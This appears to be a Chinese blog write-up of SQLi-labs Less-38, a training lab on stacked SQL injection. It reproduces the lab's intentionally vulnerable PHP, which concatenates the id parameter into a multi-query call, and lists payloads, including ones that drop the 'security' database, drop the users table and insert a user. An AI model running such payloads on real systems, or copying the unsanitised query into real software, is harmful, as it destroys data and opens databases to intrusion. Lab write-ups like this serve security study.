当前位置:网站首页>SQL注入 Less38(堆叠注入)
SQL注入 Less38(堆叠注入)
2022-07-31 22:34:00 【华为云】
<?phpif(isset($_GET['id'])){$id=$_GET['id'];// connectivity//mysql connections for stacked query examples.$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);// Check connectionif (mysqli_connect_errno($con1)){ echo "Failed to connect to MySQL: " . mysqli_connect_error();}else{ @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");}$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";/* execute multi query */if (mysqli_multi_query($con1, $sql)){ /* store first result set */ if ($result = mysqli_store_result($con1)) { if($row = mysqli_fetch_row($result)) { echo '<font size = "5" color= "#00FF00">'; printf("Your Username is : %s", $row[1]); echo "<br>"; printf("Your Password is : %s", $row[2]); echo "<br>"; echo "</font>"; }// mysqli_free_result($result); } /* print divider */ if (mysqli_more_results($con1)) { //printf("-----------------\n"); } //while (mysqli_next_result($con1));}else { echo '<font size="5" color= "#FFFF00">'; print_r(mysqli_error($con1)); echo "</font>"; }/* close connection */mysqli_close($con1);} else { echo "Please input the ID as parameter with numeric value";}?>==mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔==
mysqli_store_result() 转移上一次查询返回的结果集
mysqli_fetch_row() 函数从结果集中取得一行,并作为枚举数组返回。
所以只显示第一个查询的结果,不显示后面的查询结果。
再看这一题,可以和Less1一样,用union注入,可以用来查询数据。
这里我用堆叠注入试了试几个payload?id=1';1=1?id=1';1=2?id=1';nihao?id=1';nihao'
所以的结果都是这样
所以页面只展示第一条查询的结果。后面的查询都无关。
所以我们这里用堆叠注入是查不出数据的,但是==插入数据,删除数据,更新数据,修改表名、数据库名什么的都是可以的==?id=1';drop database security;?id=1';drop table users;?id=1';insert into users(username,password) values('happy','coder');
边栏推荐
- The article you worked so hard to write may not be your original
- Transfer Learning - Domain Adaptation
- IDA PRO中汇编结构体识别
- 如何导入 Golang 外部包并使用它?
- 嵌入式开发没有激情了,正常吗?
- Recognize anomalies (you will understand after reading this)
- MATLAB program design and application 2.4 Common internal functions of MATLAB
- What is Thymeleaf?How to use.
- 顺序表的实现
- Architecture Battalion Module 8 Homework
猜你喜欢

关注!海泰方圆加入《个人信息保护自律公约》

嵌入式开发没有激情了,正常吗?

How to identify fake reptiles?

In Golang go-redis cluster mode, new connections are constantly created, and the problem of decreased efficiency is solved

flowable workflow all business concepts

C#中引用类型的变量做为参数在方法调用时加不加 ref 关键字的不同之处

Bionic caterpillar robot source code

Unity - LineRenderer show a line

A shortcut to search for specific character content in idea

Realization of character makeup
随机推荐
#yyds dry goods inventory# Interview must brush TOP101: the entry node of the ring in the linked list
[Open class preview]: Research and application of super-resolution technology in the field of video image quality enhancement
10大主流3D建模技术
Douyin fetches video list based on keywords API
IJCAI2022 | 代数和逻辑约束的混合概率推理
The article you worked so hard to write may not be your original
ICML2022 | 深入研究置换敏感的图神经网络
"APIO2010" Patrol Problem Solution
Niuke.com brush questions (1)
LevelSequence source code analysis
Linux environment redis cluster to build "recommended collection"
PHP三元(三目)运算符
嵌入式开发没有激情了,正常吗?
Flink_CDC construction and simple use
Unity - by casting and cloning method dynamic control under various UGUI create and display
C#中引用类型的变量做为参数在方法调用时加不加 ref 关键字的不同之处
21. Support Vector Machine - Introduction to Kernel Functions
flowable workflow all business concepts
IDA PRO中汇编结构体识别
Several methods of mysql backup table